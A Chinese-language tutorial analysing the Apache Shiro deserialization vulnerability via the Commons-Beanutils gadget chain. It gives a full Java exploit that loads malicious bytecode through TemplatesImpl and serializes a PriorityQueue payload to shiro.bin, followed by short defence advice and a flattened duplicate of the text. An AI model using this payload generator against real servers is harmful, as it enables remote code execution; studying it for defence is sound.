shiro反序列化-CB链利用
字数 1325 2025-08-11 08:36:16

Apache Shiro反序列化漏洞分析:基于Commons-Beanutils的CB链利用

1. 基础知识

1.1 Commons-Beanutils简介

Commons-Beanutils是Apache Commons项目的一个Java类库,提供了一组简单易用的API来操作Java对象和Bean属性。主要功能包括:

  • 将Java Bean的属性值与键值对相互转换
  • 对JavaBean功能进行增强
  • Shiro框架自带此依赖

1.2 JavaBean规范

JavaBean是一种特定的Java类,遵循以下规范:

  • 包含无参构造函数
  • 属性私有化
  • 提供公共的getter/setter方法

示例:

public class Person {
    private String name;
    private int age;
    
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    
    // Getter和Setter方法
    public String getName() { return name; }
    public void setName(String name) { this.name = name; }
    public int getAge() { return age; }
    public void setAge(int age) { this.age = age; }
}

1.3 PropertyUtils类

PropertyUtils类能够动态调用getter/setter方法:

Person person = new Person("xilitter", 19);
System.out.println(PropertyUtils.getProperty(person, "name")); // 输出"xilitter"

2. 漏洞原理分析

2.1 核心漏洞点

PropertyUtils类的getProperty函数能够动态调用JavaBean的getter方法,关键调用链:

  1. PropertyUtils.getProperty()
  2. PropertyUtilsBean.getProperty()
  3. MethodUtils.invokeMethod()
  4. 最终通过反射调用目标方法

2.2 关键利用点

在TemplatesImpl类中存在符合JavaBean规范的方法:

  • getOutputProperties():该方法内部会调用newTransformer()方法
  • newTransformer()方法是动态加载恶意类的关键

2.3 初步利用代码

TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置必要属性
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// 触发漏洞
PropertyUtils.getProperty(templates, "outputProperties");

3. 完整利用链构造

3.1 利用链分析

完整利用链:

PriorityQueue.readObject()
-> siftUpUsingComparator()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> 动态加载恶意类

3.2 关键类说明

  1. BeanComparator

    • 实现了Comparator接口
    • compare()方法中调用PropertyUtils.getProperty()
  2. PriorityQueue

    • 重写了readObject方法
    • 可作为反序列化入口
    • 通过comparator属性控制比较逻辑

3.3 序列化问题解决

直接使用会导致序列化时报错,因为:

  • 第二个add操作会调用compare方法
  • 字符串"2222"没有outputProperties属性

解决方案:

  1. 初始时使用TransformingComparator作为comparator
  2. 添加完元素后,通过反射将comparator改为BeanComparator

3.4 完整EXP代码

public class ShiroCBExploit {
    public static void main(String[] args) throws Exception {
        // 1. 准备TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        
        // 设置_name属性
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaaa");
        
        // 设置_bytecodes属性(恶意类)
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("恶意类路径"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);
        
        // 设置_tfactory属性
        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        
        // 2. 构造比较器链
        // 初始使用TransformingComparator避免序列化错误
        TransformingComparator transformingComparator = 
            new TransformingComparator(new ConstantTransformer(1));
        
        // 实际要使用的BeanComparator
        BeanComparator beanComparator = new BeanComparator("outputProperties", null);
        
        // 3. 构造PriorityQueue
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add("2222"); // 第二个元素用于触发比较
        
        // 4. 通过反射将comparator改为BeanComparator
        Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue, beanComparator);
        
        // 5. 序列化
        serialize(priorityQueue);
    }
    
    public static void serialize(Object object) throws IOException {
        try (FileOutputStream fos = new FileOutputStream("shiro.bin");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(object);
            System.out.println("序列化成功");
        }
    }
}

4. 漏洞防御

  1. 升级Shiro到最新版本
  2. 使用官方提供的安全补丁
  3. 配置Shiro的反序列化过滤器
  4. 避免使用不安全的反序列化操作

5. 总结

本漏洞利用的关键点:

  1. 利用PropertyUtils.getProperty()动态调用getter方法
  2. 结合TemplatesImpl的getOutputProperties()方法加载恶意类
  3. 通过BeanComparator和PriorityQueue构造完整的反序列化链
  4. 使用反射技巧解决序列化过程中的问题

理解此漏洞需要对Java反序列化、反射机制以及Shiro框架有深入理解,建议在学习本漏洞前先掌握Commons Collections相关利用链。

Apache Shiro反序列化漏洞分析:基于Commons-Beanutils的CB链利用 1. 基础知识 1.1 Commons-Beanutils简介 Commons-Beanutils是Apache Commons项目的一个Java类库,提供了一组简单易用的API来操作Java对象和Bean属性。主要功能包括: 将Java Bean的属性值与键值对相互转换 对JavaBean功能进行增强 Shiro框架自带此依赖 1.2 JavaBean规范 JavaBean是一种特定的Java类,遵循以下规范: 包含无参构造函数 属性私有化 提供公共的getter/setter方法 示例: 1.3 PropertyUtils类 PropertyUtils类能够动态调用getter/setter方法: 2. 漏洞原理分析 2.1 核心漏洞点 PropertyUtils类的getProperty函数能够动态调用JavaBean的getter方法,关键调用链: PropertyUtils.getProperty() PropertyUtilsBean.getProperty() MethodUtils.invokeMethod() 最终通过反射调用目标方法 2.2 关键利用点 在TemplatesImpl类中存在符合JavaBean规范的方法: getOutputProperties() :该方法内部会调用 newTransformer() 方法 newTransformer() 方法是动态加载恶意类的关键 2.3 初步利用代码 3. 完整利用链构造 3.1 利用链分析 完整利用链: 3.2 关键类说明 BeanComparator : 实现了Comparator接口 compare()方法中调用PropertyUtils.getProperty() PriorityQueue : 重写了readObject方法 可作为反序列化入口 通过comparator属性控制比较逻辑 3.3 序列化问题解决 直接使用会导致序列化时报错,因为: 第二个add操作会调用compare方法 字符串"2222"没有outputProperties属性 解决方案: 初始时使用TransformingComparator作为comparator 添加完元素后,通过反射将comparator改为BeanComparator 3.4 完整EXP代码 4. 漏洞防御 升级Shiro到最新版本 使用官方提供的安全补丁 配置Shiro的反序列化过滤器 避免使用不安全的反序列化操作 5. 总结 本漏洞利用的关键点: 利用PropertyUtils.getProperty()动态调用getter方法 结合TemplatesImpl的getOutputProperties()方法加载恶意类 通过BeanComparator和PriorityQueue构造完整的反序列化链 使用反射技巧解决序列化过程中的问题 理解此漏洞需要对Java反序列化、反射机制以及Shiro框架有深入理解,建议在学习本漏洞前先掌握Commons Collections相关利用链。